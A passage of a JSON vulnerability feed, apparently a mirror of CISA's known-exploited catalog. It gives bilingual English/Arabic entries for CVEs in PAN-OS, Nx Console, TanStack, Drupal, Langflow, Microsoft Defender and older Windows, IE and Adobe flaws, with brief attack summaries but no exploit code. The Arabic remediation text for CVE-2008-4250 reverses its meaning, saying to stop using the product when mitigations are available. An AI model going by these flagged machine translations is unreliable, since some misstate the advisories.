بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"oracle-weblogic-server"},{"id":"CVE-2026-0257","cvss":7.8,"vector":null,"cwe":"CWE-565","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-05-29T00:00:00Z","product":"Palo Alto Networks PAN-OS","affected":[["10.2.0 – <10.2.10-h36","10.2.10-h36"],["11.2.0 – <11.2.7-h13","11.2.7-h13"]],"title":{"en":"Palo Alto Networks PAN-OS Authentication Bypass Vulnerability","ar":"ثغرة تجاوز المصادقة في Palo Alto Networks PAN-OS"},"summary":{"en":"Palo Alto Networks PAN-OS contains an authentication bypass vulnerability that allows attackers to bypass security restrictions and establish an unauthorized VPN connection.","ar":"يحتوي Palo Alto Networks PAN-OS على ثغرة تجاوز المصادقة تسمح للمهاجمين بتجاوز قيود الأمان وإنشاء اتصال VPN غير مصرح به."},"refs":[["https://security.paloaltonetworks.com/CVE-2026-0257","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-0257","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-0257","ref"],["https://cert-portal.siemens.com/productcert/html/ssa-967325.html","ref"]],"epss":0.9564,"kevAdded":"2026-05-29T00:00:00Z","kevDue":"2026-06-01T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":true,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"palo-alto-networks-pan-os"},{"id":"CVE-2026-48027","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-506","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-27T15:50:01Z","product":"Nx Nx Console","affected":[],"title":{"en":"Nx Console Embedded Malicious Code Vulnerability","ar":"ثغرة شيفرة خبيثة مضمنة في Nx Console"},"summary":{"en":"Nx Console contains an embedded malicious code vulnerability that allowed a malicious version of Nx Console to be published. The compromised extension fetched an obfuscated payload that could harvested credentials from multiple sources on disk and in memory.","ar":"يحتوي Nx Console على ثغرة شيفرة خبيثة مضمنة سمحت بنشر إصدار خبيث من Nx Console. قام الامتداد المخترق جلب حمولة مموهة يمكنها جمع بيانات الاعتماد من مصادر متعددة على القرص وفي الذاكرة."},"refs":[["https://github.com/nrwl/nx-console/security/advisories/GHSA-c9j4-9m59-847w","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-48027","advisory"],["https://github.com/nrwl/nx-console/issues/3139","ref"],["https://nx.dev/blog/nx-console-v18-95-0-postmortem#indicators-of-compromise","ref"],["https://www.stepsecurity.io/blog/nx-console-vs-code-extension-compromised","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48027","ref"]],"epss":0.0185,"kevAdded":"2026-05-27T00:00:00Z","kevDue":"2026-06-10T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":true,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"nx-console"},{"id":"CVE-2026-8398","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-506","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-27T00:00:00Z","product":"Daemon Daemon Tools Lite","affected":[["12.5.0.2421",null]],"title":{"en":"Daemon Tools Lite Embedded Malicious Code Vulnerability","ar":"ثغرة شيفرة خبيثة مضمنة في Daemon Tools Lite"},"summary":{"en":"Daemon Tools contains an unspecified vulnerability that has a high impact on confidentiality, integrity, and availability.","ar":"يحتوي Daemon Tools على ثغرة غير محددة ذات تأثير كبير على السرية والسلامة والتوافر."},"refs":[["https://blog.daemon-tools.cc/post/security-incident","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-8398","advisory"],["https://securelist.com/tr/daemon-tools-backdoor/119654/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-8398","ref"]],"epss":0.0146,"kevAdded":"2026-05-27T00:00:00Z","kevDue":"2026-05-30T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"daemon-tools-lite"},{"id":"CVE-2026-45321","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-506","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-27T00:00:00Z","product":"TanStack TanStack","affected":[["1.166.12",null],["1.166.15",null],["1.161.9",null],["1.161.12",null],["0.0.4",null],["0.0.7",null],["1.154.12",null],["1.154.15",null],["1.169.5",null],["1.169.8",null],["1.166.16",null],["1.166.19",null]],"title":{"en":"TanStack Unspecified Vulnerability","ar":"ثغرة غير محددة في TanStack"},"summary":{"en":"TanStack contains an unspecified vulnerability that allowed malicious versions of the product to be published to the npm registry to publish credential-stealing malware under a trusted identity.","ar":"يحتوي TanStack على ثغرة غير محددة سمحت بنشر إصدارات خبيثة من المنتج إلى سجل npm لنشر برمجيات خبيثة تسرق بيانات الاعتماد تحت هُوية موثوقة."},"refs":[["https://github.com/TanStack/router/security/advisories/GHSA-g7cv-rxg3-hmpx","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-45321","advisory"],["https://github.com/TanStack/router/issues/7383","ref"],["https://tanstack.com/blog/npm-supply-chain-compromise-postmortem","ref"],["https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-45321","ref"]],"epss":0.0328,"kevAdded":"2026-05-27T00:00:00Z","kevDue":"2026-06-10T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":true,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"tanstack"},{"id":"CVE-2026-48172","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-266","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-05-26T00:00:00Z","product":"LiteSpeed cPanel Plugin","affected":[["2.3 – <2.4.7","2.4.7"],["0 – <5.3.1.0","5.3.1.0"]],"title":{"en":"LiteSpeed cPanel Plugin Privilege Escalation Vulnerability","ar":"ثغرة تصعيد الصلاحيات في إضافة LiteSpeed cPanel"},"summary":{"en":"LiteSpeed cPanel Plugin contains privilege escalation vulnerability that is exposed via the user-end cPanel plugin, which can be abused by any cPanel user account to execute arbitrary scripts with root privileges.","ar":"تحتوي إضافة LiteSpeed cPanel على ثغرة تصعيد الصلاحيات المعرضة للخطر عبر إضافة cPanel الخاصة بالمستخدم النهائي، والتي يمكن استغلالها من قبل أي حساب مستخدم في cPanel لتنفيذ شيفرة عشوائية بصلاحيات root."},"refs":[["https://blog.litespeedtech.com/2026/05/21/security-update-for-litespeed-cpanel-plugin/","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-48172","advisory"],["https://www.litespeedtech.com/products/litespeed-web-server/control-panel-support/cpanel","ref"],["https://www.litespeedtech.com/products/litespeed-web-server/control-panel-support/release-log","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48172","ref"]],"epss":0.1792,"kevAdded":"2026-05-26T00:00:00Z","kevDue":"2026-05-29T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"litespeed-cpanel-plugin"},{"id":"CVE-2026-9082","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-05-22T00:00:00Z","product":"Drupal Core","affected":[["8.9.0 – <10.4.10","10.4.10"],["10.5.0 – <10.5.10","10.5.10"],["10.6.0 – <10.6.9","10.6.9"],["11.0.0 – <11.1.10","11.1.10"],["11.2.0 – <11.2.12","11.2.12"],["11.3.0 – <11.3.10","11.3.10"]],"title":{"en":"Drupal Core SQL Injection Vulnerability","ar":"ثغرة الحقن في قواعد البيانات لـ Drupal Core"},"summary":{"en":"Drupal Core contains a SQL injection vulnerability that could allow for privilege escalation and remote code execution via specially crafted requests sent with the database abstraction API.","ar":"يحتوي Drupal Core على ثغرة حقن SQL والتي قد تسمح بتصعيد الصلاحيات وتنفيذ أوامر عن بُعد عبر طلبات مصممة خصيصاً تُرسل باستخدام واجهة برمجة تطبيقات تجريد قاعدة البيانات."},"refs":[["https://www.drupal.org/sa-core-2026-004","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-9082","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-9082","ref"]],"epss":0.8938,"kevAdded":"2026-05-22T00:00:00Z","kevDue":"2026-05-27T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"drupal-core"},{"id":"CVE-2026-34926","cvss":6.7,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L","cwe":"CWE-23","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-05-21T13:03:21Z","product":"Trend Micro Apex One","affected":[[" – <14.0.0.17079","14.0.0.17079"],[" – <14.0.20731","14.0.20731"]],"title":{"en":"Trend Micro Apex One (On-Premise) Directory Traversal Vulnerability","ar":"ثغرة اجتياز الدليل في Trend Micro Apex One (On-Premise)"},"summary":{"en":"Trend Micro Apex One (on-premise) contains a directory traversal vulnerability that could allow a pre-authenticated local attacker to modify a key table on the server to inject malicious code to deploy to agents on affected installations.","ar":"يحتوي Trend Micro Apex One (on-premise) على ثغرة اجتياز الدليل التي قد تسمح لمهاجم محلي مصادق عليه مسبقاً بتعديل جدول أساسي على الخادم لحقن شيفرة خبيثة لنشرها إلى الوكلاء على التثبيتات المتأثرة."},"refs":[["https://success.trendmicro.com/en-US/solution/KA-0023430","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-34926","advisory"],["https://success.trendmicro.com/ja-JP/solution/KA-0022974","ref"],["https://jvn.jp/en/vu/JVNVU90583059/","ref"],["https://www.jpcert.or.jp/english/at/2026/at260014.html","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34926","ref"]],"epss":0.1342,"kevAdded":"2026-05-21T00:00:00Z","kevDue":"2026-06-04T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"trend-micro-apex-one"},{"id":"CVE-2025-34291","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-346","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-21T00:00:00Z","product":"Langflow Langflow","affected":[["0 – 1.6.9",null]],"title":{"en":"Langflow Origin Validation Error Vulnerability","ar":"ثغرة خطأ التحقق من المنشأ في Langflow"},"summary":{"en":"Langflow contains an origin validation error vulnerability in which an overly permissive CORS configuration combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. This could allow the attacker to execute arbitrary code and achieve full system compromise via obtained tokens that permit access to authenticated endpoints.","ar":"يحتوي Langflow على ثغرة خطأ في التحقق من المنشأ حيث يسمح تكوين CORS المتساهل للغاية مجتمعاً مع ملف تعريف ارتباط رمزي التحديث المكوّن كـ SameSite=None لصفحة ويب خبيثة بإجراء طلبات عبر المنشأ تتضمن بيانات اعتماد واستدعاء نقطة نهاية التحديث بنجاح. قد يسمح هذا للمهاجم بتتنفيذ شيفرة عشوائية وتحقيق اختراق كامل للنظام عبر الرموز التي تم الحصول عليها والتي تسمح بالوصول إلى نقاط النهاية المصادق عليها."},"refs":[["https://github.com/langflow-ai/langflow","advisory"],["https://github.com/langflow-ai/langflow/releases/tag/v1.9.3","advisory"],["https://github.com/langflow-ai/langflow/issues/11465#event-25774545848","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2025-34291","advisory"],["https://www.vulncheck.com/advisories/langflow-cors-misconfiguration-to-token-hijack-and-rce","advisory"],["https://www.crowdsec.net/vulntracking-report/cve-2025-34291","advisory"],["https://www.obsidiansecurity.com/blog/cve-2025-34291-critical-account-takeover-and-rce-vulnerability-in-the-langflow-ai-agent-workflow-platform","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-34291","ref"]],"epss":0.9281,"kevAdded":"2026-05-21T00:00:00Z","kevDue":"2026-06-04T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-41091","cvss":7.8,"vector":null,"cwe":"CWE-59","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-05-20T13:09:13Z","product":"Microsoft Defender","affected":[["1.1.0.0 – <1.1.26040.8","1.1.26040.8"]],"title":{"en":"Microsoft Defender Link Following Vulnerability","ar":"ثغرة تتبع الروابط في Microsoft Defender"},"summary":{"en":"Microsoft Defender contains a link following vulnerability that allows an authorized attacker to elevate privileges locally.","ar":"يحتوي Microsoft Defender على ثغرة تتبع الروابط التي تسمح لمهاجم مخول بترقية الصلاحيات محلياً."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091","patch"],["https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-41091","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-41091","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-41091","ref"]],"epss":0.082,"kevAdded":"2026-05-20T00:00:00Z","kevDue":"2026-06-03T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"microsoft-defender"},{"id":"CVE-2026-45498","cvss":4,"vector":null,"cwe":"CWE-400","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-05-20T13:09:12Z","product":"Microsoft Defender","affected":[["4.0.0.0 – <4.18.26040.7","4.18.26040.7"]],"title":{"en":"Microsoft Defender Denial of Service Vulnerability","ar":"ثغرة حجب الخدمة في Microsoft Defender"},"summary":{"en":"Microsoft Defender contains an unspecified vulnerability that allows for denial of service.","ar":"يحتوي Microsoft Defender على ثغرة غير محددة تسمح بحجب الخدمة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45498","patch"],["https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-45498","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-45498","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-45498","ref"]],"epss":0.6308,"kevAdded":"2026-05-20T00:00:00Z","kevDue":"2026-06-03T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"microsoft-defender"},{"id":"CVE-2010-0806","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-20T00:00:00Z","product":"Microsoft Internet Explorer","affected":[],"title":{"en":"Microsoft Internet Explorer Use-After-Free Vulnerability","ar":"ثغرة استخدام الذاكرة بعد تحريرها في Microsoft Internet Explorer"},"summary":{"en":"Microsoft Internet Explorer contains an use-after-free vulnerability that could allow remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","ar":"يحتوي Microsoft Internet Explorer على ثغرة استخدام الذاكرة بعد تحريرها والتي قد تسمح للمهاجمين عن بُعد بتنفيذ شيفرة عشوائية عبر نواقل تتضمن الوصول إلى مؤشر غير صالح بعد حذف الكائن. قد يكون المنتج المتأثر في نهاية عمره الافتراضي (EoL) و/أو نهاية خدمته (EoS). يجب على المستخدمين التوقف عن استخدام المنتج."},"refs":[["https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/981374","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2010-0806","advisory"],["https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-018","advisory"],["https://learn.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-018","advisory"],["https://exchange.xforce.ibmcloud.com/vulnerabilities/56772","ref"],["https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8446","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2010-0806","ref"]],"epss":0.8224,"kevAdded":"2026-05-20T00:00:00Z","kevDue":"2026-06-03T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"microsoft-internet-explorer"},{"id":"CVE-2010-0249","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-20T00:00:00Z","product":"Microsoft Internet Explorer","affected":[],"title":{"en":"Microsoft Internet Explorer Use-After-Free Vulnerability","ar":"ثغرة استخدام الذاكرة بعد تحريرها في Microsoft Internet Explorer"},"summary":{"en":"Microsoft Internet Explorer contains an use-after-free vulnerability that could allow remote attackers to execute arbitrary code by accessing a pointer associated with a deleted object. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","ar":"يحتوي Microsoft Internet Explorer على ثغرة استخدام الذاكرة بعد تحريرها والتي قد تسمح للمهاجمين عن بُعد بتنفيذ شيفرة عشوائية عن طريق الوصول إلى مؤشر مرتبط بكائن محذوف. قد يكون المنتج المتأثر في نهاية عمره الافتراضي (EoL) و/أو نهاية خدمته (EoS). يجب على المستخدمين التوقف عن استخدام المنتج."},"refs":[["https://learn.microsoft.com/en-us/security-updates/SecurityAdvisories/2010/979352","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2010-0249","advisory"],["https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-002","advisory"],["https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6835","ref"],["https://exchange.xforce.ibmcloud.com/vulnerabilities/55642","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2010-0249","ref"]],"epss":0.9194,"kevAdded":"2026-05-20T00:00:00Z","kevDue":"2026-06-03T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"microsoft-internet-explorer"},{"id":"CVE-2009-3459","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-20T00:00:00Z","product":"Adobe Acrobat and Reader","affected":[],"title":{"en":"Adobe Acrobat and Reader Heap-Based Buffer Overflow Vulnerability","ar":"ثغرة فيضان المخزن المؤقت القائم على الذاكرة المخصصة (Heap) في Adobe Acrobat و Reader"},"summary":{"en":"Adobe Acrobat and Reader contain a heap-based buffer overflow vulnerability which could allow remote attackers to execute arbitrary code via a crafted PDF file that triggers memory corruption.","ar":"يحتوي Adobe Acrobat و Reader على ثغرة فيضان المخزن المؤقت القائم على الذاكرة المخصصة والتي قد تسمح للمهاجمين عن بُعد بتنفيذ شيفرة عشوائية عبر ملف PDF مصمم خصيصاً يؤدي إلى تلف الذاكرة."},"refs":[["https://www.cisa.gov/news-events/alerts/2009/10/13/adobe-reader-and-acrobat-vulnerabilities","advisory"],["https://web.archive.org/web/20120324170253/http://www.adobe.com/support/security/bulletins/apsb09-15.html#:~:text=CVE%2D2009%2D3459).-,NOTE%3A,-There%20are%20reports","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2009-3459","advisory"],["https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6534","ref"],["https://exchange.xforce.ibmcloud.com/vulnerabilities/53691","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2009-3459","ref"]],"epss":0.8665,"kevAdded":"2026-05-20T00:00:00Z","kevDue":"2026-06-03T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"adobe-acrobat-and-reader"},{"id":"CVE-2009-1537","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-158","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-20T00:00:00Z","product":"Microsoft DirectX","affected":[],"title":{"en":"Microsoft DirectX NULL Byte Overwrite Vulnerability","ar":"ثغرة الكتابة الفوقية لبايتات NULL في Microsoft DirectX"},"summary":{"en":"Microsoft DirectX contains a NULL byte overwrite vulnerability in the QuickTime Movie Parser Filter in quartz.dll in DirectShow which could allow remote attackers to execute arbitrary code via a crafted QuickTime media file.","ar":"يحتوي Microsoft DirectX على ثغرة الكتابة الفوقية لبايتات NULL في مرشح محلل أفلام QuickTime في ملف quartz.dll ضمن DirectShow والتي قد تسمح للمهاجمين عن بُعد بتنفيذ شيفرة عشوائية عبر ملف وسائط QuickTime مصمم خصيصاً."},"refs":[["https://learn.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-028","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2009-1537","advisory"],["https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-028","advisory"],["https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6237","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2009-1537","ref"]],"epss":0.5136,"kevAdded":"2026-05-20T00:00:00Z","kevDue":"2026-06-03T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"microsoft-directx"},{"id":"CVE-2008-4250","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-20T00:00:00Z","product":"Microsoft Windows","affected":[],"title":{"en":"Microsoft Windows Buffer Overflow Vulnerability","ar":"ثغرة فيضان المخزن المؤقت في Microsoft Windows"},"summary":{"en":"Microsoft Windows contains a buffer overflow vulnerability in the Windows Server Service that allows remote attackers to execute arbitrary code via a crafted RPC request that triggers an overflow during path canonicalization.","ar":"يحتوي Microsoft Windows على ثغرة فيضان المخزن المؤقت في خدمة Windows Server Service تسمح للمهاجمين عن بُعد بتنفيذ شيفرة عشوائية عبر طلب RPC مصمم خصيصاً يؤدي إلى حدوث فيضان أثناء تسوية المسار."},"refs":[["https://learn.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2008-4250","advisory"],["https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067","advisory"],["https://www.exploit-db.com/exploits/7132","ref"],["https://www.exploit-db.com/exploits/6841","ref"],["https://www.exploit-db.com/exploits/6824","ref"],["https://exchange.xforce.ibmcloud.com/vulnerabilities/46040","ref"],["https://www.exploit-db.com/exploits/7104","ref"],["https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6093","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2008-4250","ref"]],"epss":0.9875,"kevAdded":"2026-05-20T00:00:00Z","kevDue":"2026-06-03T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المزود، أو اتبع توجيهات BOD 22-01 المطبقة على الخدمات السحابية، أو توقف عن استخدام المنتج في حال توفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"microsoft-windows"},{"id":"CVE-2026-42897","cvss":8.1,"vector":null,"cwe":"CWE-79","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-05-15T00:00:00Z","product":"Microsoft Microsoft","affected":[["15.01.0.0 – <15.01.2507.069","15.01.2507.069"],["15.02.0.0 – <15.02.1544.041","15.02.1544.041"],["15.02.0.0 – <15.02.1748.046","15.02.1748.046"],["15.02.0.0 – <15.02.2562.043","15.02.2562.043"]],"title":{"en":"Microsoft Exchange Server Cross-Site Scripting Vulnerability","ar":"ثغرة البرمجة النصية عبر المواقع في Microsoft Exchange Server"},"summary":{"en":"Microsoft Exchange Server contains a cross-site scripting vulnerability during web page generation in Outlook Web Access and when certain interaction conditions are met, arbitrary JavaScript can be executed in the browser context.","ar":"يحتوي Microsoft Exchange Server على ثغرة برمجة نصية عبر المواقع أثناء إنشاء صفحة الويب في Outlook Web Access وعند استيفاء شروط تفاعل معينة، يمكن تنفيذ شيفرة JavaScript عشوائية في سياق 